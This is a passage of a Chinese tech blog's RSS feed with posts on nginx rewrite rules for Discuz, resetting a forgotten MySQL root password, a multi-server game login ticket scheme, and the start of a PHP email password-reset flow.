rewrite ^/(space|network)\.html$ /$1.php last;<br />
rewrite ^/([0-9]+)$ /space.php?uid=$1 last;<br />
discuz 7 rewrite</p>
<p>rewrite ^(.*)/archiver/((fid|tid)-[\w\-]+\.html)$ $1/archiver/index.php?$2 last;<br />
rewrite ^(.*)/forum-([0-9]+)-([0-9]+)\.html$ $1/forumdisplay.php?fid=$2&amp;page=$3 last;<br />
rewrite ^(.*)/thread-([0-9]+)-([0-9]+)-([0-9]+)\.html$ $1/viewthread.php?tid=$2&amp;extra=page\%3D$4&amp;page=$3 last;<br />
rewrite ^(.*)/profile-(username|uid)-(.+)\.html$ $1/viewpro.php?$2=$3 last;<br />
rewrite ^(.*)/space-(username|uid)-(.+)\.html$ $1/space.php?$2=$3 last;<br />
rewrite ^(.*)/tag-(.+)\.html$ $1/tag.php?name=$2 last;<br />
给discuz某版块单独配置域名</p>
<p>server_name bbs.xxx.com;</p>
<p>location = / {<br />
if ($http_host ~ news\.xxx.com$)<br />
{<br />
rewrite ^.+ http://news.xxx.com/forum-831-1.html last;<br />
break;<br />
}<br />
}<br />
discuz ucenter 头像 rewrite 优化</p>
<p>location ^~ /ucenter {<br />
location ~ .*\.php?$<br />
{<br />
#fastcgi_pass unix:/tmp/php-cgi.sock;<br />
fastcgi_pass 127.0.0.1:9000;<br />
fastcgi_index index.php;<br />
include fcgi.conf;<br />
}</p>
<p>location /ucenter/data/avatar {<br />
log_not_found off;<br />
access_log off;<br />
location ~ /(.*)_big\.jpg$ {<br />
error_page 404 /ucenter/images/noavatar_big.gif;<br />
}<br />
location ~ /(.*)_middle\.jpg$ {<br />
error_page 404 /ucenter/images/noavatar_middle.gif;<br />
}<br />
location ~ /(.*)_small\.jpg$ {<br />
error_page 404 /ucenter/images/noavatar_small.gif;<br />
}<br />
expires 300;<br />
break;<br />
}<br />
}<br />
jspace rewrite</p>
<p>location ~ .*\.php?$<br />
{<br />
#fastcgi_pass unix:/tmp/php-cgi.sock;<br />
fastcgi_pass 127.0.0.1:9000;<br />
fastcgi_index index.php;<br />
include fcgi.conf;<br />
}</p>
<p>location ~* ^/index.php/<br />
{<br />
rewrite ^/index.php/(.*) /index.php?$1 break;<br />
fastcgi_pass 127.0.0.1:9000;<br />
fastcgi_index index.php;<br />
include fcgi.conf;<br />
}</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html" title="《高性能网站建设指南》读书笔记">《高性能网站建设指南》读书笔记</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月22日 -- <a href="http://www.5bay.cn/me/csseeeeyao.html" title="CSS 中的太极拳口诀">CSS 中的太极拳口诀</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li><li>2008年11月12日 -- <a href="http://www.5bay.cn/network-programming/javascript-ajax/documentbodyscrolltop%E4%B8%BA0.html" title="document.body.scrollTop为0">document.body.scrollTop为0</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/301" title="301" rel="tag">301</a>, <a href="http://www.5bay.cn/tag/access" title="access" rel="tag">access</a>, <a href="http://www.5bay.cn/tag/cookie" title="cookie" rel="tag">cookie</a>, <a href="http://www.5bay.cn/tag/css" title="css" rel="tag">css</a>, <a href="http://www.5bay.cn/tag/domain" title="domain" rel="tag">domain</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/include" title="include" rel="tag">include</a>, <a href="http://www.5bay.cn/tag/js" title="js" rel="tag">js</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/seo" title="seo" rel="tag">seo</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/swf" title="swf" rel="tag">swf</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/%E5%88%A4%E6%96%AD" title="判断" rel="tag">判断</a>, <a href="http://www.5bay.cn/tag/%E5%9B%BE%E7%89%87" title="图片" rel="tag">图片</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F" title="正则表达式" rel="tag">正则表达式</a>, <a href="http://www.5bay.cn/tag/%E6%B5%8F%E8%A7%88%E5%99%A8" title="浏览器" rel="tag">浏览器</a>, <a href="http://www.5bay.cn/tag/%E7%BD%91%E7%AB%99" title="网站" rel="tag">网站</a>, <a href="http://www.5bay.cn/tag/%E8%87%AA%E5%AE%9A%E4%B9%89" title="自定义" rel="tag">自定义</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8" title="表" rel="tag">表</a>, <a href="http://www.5bay.cn/tag/%E9%87%8D%E5%AE%9A%E5%90%91" title="重定向" rel="tag">重定向</a>, <a href="http://www.5bay.cn/tag/%E9%93%BE%E6%8E%A5" title="链接" rel="tag">链接</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/nginxderewriteguize.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>mysql找回忘记的root密码</title>
		<link>http://www.5bay.cn/server-building/mysqlzhaohuiwangjiderootmima.html</link>
		<comments>http://www.5bay.cn/server-building/mysqlzhaohuiwangjiderootmima.html#comments</comments>
		<pubDate>Sat, 22 May 2010 20:55:03 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[方法]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=341</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/mysqlzhaohuiwangjiderootmima.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>Windows 1、停止mysql服务：打开命令行窗口CMD，net stop mysql 2、 用另外一种方式启动Mysql：在命令行进入到mysql的安装路径下的bin目录下使用mysqld-nt.exe启动：mysqld-nt &#8211;skip-grant-tables 注意：此时CMD窗口不能关闭。 3、进入Mysql：另外打开一个命入令行窗口，在bin目录 下执行mysql，此时无需输入密码即可进入。 &#62;use mysql &#62;update user set password=password(“new_pass”) where user=”root”; &#62;flush privileges; &#62;exit 4、使用任务管理器，找到mysqld-nt的进程，结束进程！5、重新启动mysql 服务，net start mysql 就可以用新密码登录了。 Linux 1、关闭 Mysql： 如果 MySQL 正在运行，首先杀之 killall -TERM mysqld 2、另外的方法启动 MySQL ：bin/safe_mysqld &#8211;skip-grant-tables &#38; 3、可以不需要密码就进入 MySQL 了。 &#62;use mysql &#62;update user set password=password(“new_pass”) where user=”root”; &#62;flush privileges; 注意点同上 4、重新杀 [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Windows</strong><br />
1、停止mysql服务：打开命令行窗口CMD，net stop <a href="http://www.5bay.cn/tag/mysql" class="st_tag internal_tag" rel="tag" title="标签 mysql 下的日志">mysql</a></p>
<p>2、 用另外一种方式启动Mysql：在命令行进入到mysql的安装路径下的bin目录下使用mysqld-nt.exe启动：mysqld-nt &#8211;skip-grant-tables 注意：此时CMD窗口不能关闭。</p>
<p>3、进入Mysql：另外打开一个命入令行窗口，在bin目录 下执行mysql，此时无需输入密码即可进入。<br />
&gt;use mysql<br />
&gt;update user set password=password(“new_pass”) where user=”root”;<br />
&gt;flush privileges;<br />
&gt;exit</p>
<p>4、使用任务管理器，找到mysqld-nt的进程，结束进程！5、重新启动mysql 服务，net start mysql 就可以用新密码登录了。</p>
<p><strong>Linux</strong></p>
<p>1、关闭 Mysql： 如果 MySQL 正在运行，首先杀之 killall -TERM mysqld</p>
<p>2、另外的方法启动 MySQL ：bin/safe_mysqld &#8211;skip-grant-tables &amp;</p>
<p>3、可以不需要密码就进入 MySQL 了。</p>
<p>&gt;use mysql<br />
&gt;update user set password=password(“new_pass”) where user=”root”;<br />
&gt;flush privileges; 注意点同上</p>
<p>4、重新杀 MySQL ，用正常方法启动 MySQL 。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/eeeeee389.html" title="无需输入密码登陆3389">无需输入密码登陆3389</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2006年12月11日 -- <a href="http://www.5bay.cn/network-programming/php/advancedsqlinjectionwithmysql.html" title="Advanced SQL Injection with MySQL">Advanced SQL Injection with MySQL</a> (1)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/me/kaiyuanruanjiandeyinglimoshi.html" title="开源软件的盈利模式">开源软件的盈利模式</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/odexxiangguanzhishi.html" title="odex相关知识">odex相关知识</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/eeeeeeee-2.html" title="防止网卡被禁用的具体配置方法">防止网卡被禁用的具体配置方法</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/mysql" title="mysql" rel="tag">mysql</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/mysqlzhaohuiwangjiderootmima.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>多服务器的用户身份认证方案</title>
		<link>http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html</link>
		<comments>http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html#comments</comments>
		<pubDate>Fri, 17 Oct 2008 17:01:53 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[游戏开发]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[失败]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[游戏]]></category>
		<category><![CDATA[版本]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">?p=291</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>当游戏服务器群达到一定规模后，让用户只从一个入口连入会给这个入口带来很大的压力。这样，我们就需要让服务器群中的多台机器都允许用户直接连接。当服务器开放给用户直接登陆后，必须面临的一个问题就是用户身份认证的问题。大多数提供网络服务的公司都做了一套统一的用户认证系统，比如微软的 passport ，网易的通行证，等等。为了避免重复验证用户身份而给用户认证系统带来过大的负担，云风在这里给出一个参考解决方案。登陆服务器可以只有一台，专门用于用户第一次登陆的身份认证。它认证完用户的身份后，则发放一个游戏系统内部用的临时通行证给用户，用户可以拿着这个临时通行证到指定的地点玩游戏。我们需要讨论的是，以上流程中的安全问题，以及如何加强安全性。用户认证过程自然不能传送用户密码的全部信息，这跟密码是否加密无关。简单的安全措施是先由登陆服务器发送一个随机串给用户，用户把这个字符串同自己的密码连接起来，并 md5 以后传回服务器做验证。（这里用 md5 指代一种特定的不可逆 hash 算法）临时通行证的生成可以是这样： 登陆服务器从数据库中取得用户所属的服务器 id （通常是他最后一次登陆的位置，或者游戏逻辑认为他所在位置）、用户的游戏 id （往往不同于他的用户名）、一个约定字符串、一个顺序版本号、一些随机字节、把它们连在作一次 des 加密（这里用 des 指代一种特定的可逆密匙加密算法）。每生成一次临时通行证，版本号递增。加密临时通行证的密码由登陆服务器与每个可以接受用户直接连接的服务器约定，永远不传送给用户。用户拿到这个临时通行证后，可以用之一次性登陆指定服务器。直到从服务器正常登出，若需切入新服务器，可由老服务器生成下一份临时通行证。临时通行证由于被服务器加密，所以对用户来说是一串无意义字符串，故而无法伪造。临时通行证传送给用户时，可用用户自己的密码之 md5 值（或者连接一个约定串增加安全性）做密匙加密。这样不知道密匙的人截获数据包也不能获得临时身份证。而临时身份证总是一次有效，且只针对特定服务器（服务器会检查临时通行证中包含的版本号、服务器 id ），企图用临时身份证多次登陆也会失败。 相关博文2010年05月23日 -- mysql优化及全文搜索 (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年05月23日 -- Rsync详解 (0)2008年10月17日 -- 多进程的游戏服务器设计 (0)2010年07月28日 -- 完美解决“由于这台计算机没有终端服务器客户端访问许可证” (0)2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)2010年07月26日 -- ajax的缺点 (0)2008年10月17日 -- 服务器消息的广播 (0)2008年10月17日 -- 思维的惯性 (0)2008年10月17日 -- 游戏中的货币 (0)2008年10月17日 -- 随机数有多随机？ [...]]]></description>
			<content:encoded><![CDATA[<p>当游戏服务器群达到一定规模后，让用户只从一个入口连入会给这个入口带来很大的压力。这样，我们就需要让服务器群中的多台机器都允许用户直接连接。<br/><br/>当服务器开放给用户直接登陆后，必须面临的一个问题就是用户身份认证的问题。<br/><br/>大多数提供网络服务的公司都做了一套统一的用户认证系统，比如微软的 passport ，网易的通行证，等等。为了避免重复验证用户身份而给用户认证系统带来过大的负担，云风在这里给出一个参考解决方案。<span id="more-291"></span><br/><br/>登陆服务器可以只有一台，专门用于用户第一次登陆的身份认证。它认证完用户的身份后，则发放一个游戏系统内部用的临时通行证给用户，用户可以拿着这个临时通行证到指定的地点玩游戏。<br/><br/>我们需要讨论的是，以上流程中的安全问题，以及如何加强安全性。<br/><br/>用户认证过程自然不能传送用户密码的全部信息，这跟密码是否加密无关。简单的安全措施是先由登陆服务器发送一个随机串给用户，用户把这个字符串同自己的密码连接起来，并 md5 以后传回服务器做验证。（这里用 md5 指代一种特定的不可逆 hash 算法）<br/><br/>临时通行证的生成可以是这样： 登陆服务器从数据库中取得用户所属的服务器 id （通常是他最后一次登陆的位置，或者游戏逻辑认为他所在位置）、用户的游戏 id （往往不同于他的用户名）、一个约定字符串、一个顺序版本号、一些随机字节、把它们连在作一次 des 加密（这里用 des 指代一种特定的可逆密匙加密算法）。每生成一次临时通行证，版本号递增。加密临时通行证的密码由登陆服务器与每个可以接受用户直接连接的服务器约定，永远不传送给用户。<br/><br/>用户拿到这个临时通行证后，可以用之一次性登陆指定服务器。直到从服务器正常登出，若需切入新服务器，可由老服务器生成下一份临时通行证。临时通行证由于被服务器加密，所以对用户来说是一串无意义字符串，故而无法伪造。<br/><br/>临时通行证传送给用户时，可用用户自己的密码之 md5 值（或者连接一个约定串增加安全性）做密匙加密。这样不知道密匙的人截获数据包也不能获得临时身份证。而临时身份证总是一次有效，且只针对特定服务器（服务器会检查临时通行证中包含的版本号、服务器 id ），企图用临时身份证多次登陆也会失败。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html" title="多进程的游戏服务器设计">多进程的游戏服务器设计</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/yaoeeechueeeeeeee.html" title="完美解决“由于这台计算机没有终端服务器客户端访问许可证”">完美解决“由于这台计算机没有终端服务器客户端访问许可证”</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B6%88%E6%81%AF%E7%9A%84%E5%B9%BF%E6%92%AD.html" title="服务器消息的广播">服务器消息的广播</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%80%9D%E7%BB%B4%E7%9A%84%E6%83%AF%E6%80%A7.html" title="思维的惯性">思维的惯性</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E4%B8%AD%E7%9A%84%E8%B4%A7%E5%B8%81.html" title="游戏中的货币">游戏中的货币</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/mmo%E7%9A%84%E6%8E%92%E9%98%9F%E7%B3%BB%E7%BB%9F.html" title="MMO 的排队系统">MMO 的排队系统</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/game-development/zishenshejishitonyventricejiexishoujiyouxikaifadesigecengci.html" title="资深设计师Tony Ventrice解析手机游戏开发的四个层次">资深设计师Tony Ventrice解析手机游戏开发的四个层次</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/eeeeee389.html" title="无需输入密码登陆3389">无需输入密码登陆3389</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E5%A4%B1%E8%B4%A5" title="失败" rel="tag">失败</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%B8%B8%E6%88%8F" title="游戏" rel="tag">游戏</a>, <a href="http://www.5bay.cn/category/game-development" title="游戏开发" rel="tag">游戏开发</a>, <a href="http://www.5bay.cn/tag/%E7%89%88%E6%9C%AC" title="版本" rel="tag">版本</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/game-development/%E5%A4%9A%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E7%94%A8%E6%88%B7%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E6%96%B9%E6%A1%88.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP找回密码机制流程</title>
		<link>http://www.5bay.cn/network-programming/php/php%E6%89%BE%E5%9B%9E%E5%AF%86%E7%A0%81%E6%9C%BA%E5%88%B6%E6%B5%81%E7%A8%8B.html</link>
		<comments>http://www.5bay.cn/network-programming/php/php%E6%89%BE%E5%9B%9E%E5%AF%86%E7%A0%81%E6%9C%BA%E5%88%B6%E6%B5%81%E7%A8%8B.html#comments</comments>
		<pubDate>Fri, 27 Oct 2006 00:59:37 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[收藏]]></category>

		<guid isPermaLink="false">?p=125</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/php/php%E6%89%BE%E5%9B%9E%E5%AF%86%E7%A0%81%E6%9C%BA%E5%88%B6%E6%B5%81%E7%A8%8B.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>首先，我们假定你已经有了一个用户注册系统。其中用户表可能如下： create table member( &#160;id int unsigned not null auto_incremtnt, &#160;username……………… &#160;passwords char(32) not null, &#160;email varchar(100) not null, &#160;……………………………..); 现在讨论的焦点不是数据库设计，我们主要谈密码找回。 我们可以选择的密码找回方案可能有以下几种：1. &#160; &#160; &#160; 用户预设找回密码问题，并且提供找回密码答案。2. &#160; &#160; &#160; 用户通过email 找回密码&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.. 第一种方案或许是个很好的解决方案，但我们这次并不选择此方案，其中的种种原因，也不在本讨论之内。我们用第二种方案作为本次的主要讨论对象。 那么我们开始吧。 第二种方案的其中好处是：1. &#160; &#160; &#160;注册用户必须提供正确的邮箱，否则将不能使用系统所提供的密码重设功能。2. &#160; &#160; &#160;必须由该用户通过邮箱确认。这可能对企业来说，是件好事。企业总是费劲心思的想得到用户真实的详细信息，以便进行有针对性的邮件列表服务。这也是这次开发用户要求这样做的一个主要原因。 我们可能会在login界面提供一个链接，或者在login失败后提供一个链接。链接名当然你可以自己定义了，我定义的是：忘了密码，需要找回吗？ 当用户点击找加密码时，我们会提供一个input表单。让用户输入用户名（如果是login失败后，我们可以用session填充表单内容）。用户点击提交后，我们开始我们的密码重设功能流程。 我们可能会创建这样一个文件 send_reset_pass_mail.php。这个文件主要负责产生一个通过GET方法传递的字符串，并且将其发送出去。 代码可能如下： 那么好，我们的信件已经成功发出了，哪么用户得到了一个什么样的链接呢？可能如下：/resetUserPass.php?p=dT1saXRvdSZ4PTAwZTc1MGZlNmZjOGNkNGYyMjgzMDA3MWJlZDNmZTAw 用户点击过后，执行我们站点的resetUserPass.php程序。 然后用户进行login。 相关博文2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年08月17日 -- Nginx限速 (0)2010年07月28日 [...]]]></description>
			<content:encoded><![CDATA[<p>首先，我们假定你已经有了一个用户注册系统。其中用户表可能如下：<br/> <br/>create table member(<br/> &nbsp;id int unsigned not null auto_incremtnt,<br/> &nbsp;username………………<br/> &nbsp;passwords char(32) not null,<br/> &nbsp;email varchar(100) not null,<br/> &nbsp;……………………………..<br/>);<br/> <br/>现在讨论的焦点不是数据库设计，我们主要谈密码找回。<br/> <br/>我们可以选择的密码找回方案可能有以下几种：<br/>1. &nbsp; &nbsp; &nbsp; 用户预设找回密码问题，并且提供找回密码答案。<br/>2. &nbsp; &nbsp; &nbsp; 用户通过email 找回密码<br/>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..<br/> <br/>第一种方案或许是个很好的解决方案，但我们这次并不选择此方案，其中的种种原因，也不在本讨论之内。我们用第二种方案作为本次的主要讨论对象。<br/> <br/>那么我们开始吧。<br/> <br/>第二种方案的其中好处是：<br/>1. &nbsp; &nbsp; &nbsp;注册用户必须提供正确的邮箱，否则将不能使用系统所提供的密码重设功能。<br/>2. &nbsp; &nbsp; &nbsp;必须由该用户通过邮箱确认。<br/>这可能对企业来说，是件好事。企业总是费劲心思的想得到用户真实的详细信息，以便进行有针对性的邮件列表服务。这也是这次开发用户要求这样做的一个主要原因。<br/> <br/>我们可能会在login界面提供一个链接，或者在login失败后提供一个链接。链接名当然你可以自己定义了，我定义的是：忘了密码，需要找回吗？<br/> <br/>当用户点击找加密码时，我们会提供一个input表单。让用户输入用户名（如果是login失败后，我们可以用session填充表单内容）。用户点击提交后，我们开始我们的密码重设功能流程。<br/> <br/>我们可能会创建这样一个文件 send_reset_pass_mail.<a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">php</a>。这个文件主要负责产生一个通过GET方法传递的字符串，并且将其发送出去。<span id="more-125"></span><br/> <br/>代码可能如下：<br/><coolcode><br /><?php<br />/**<br /> * 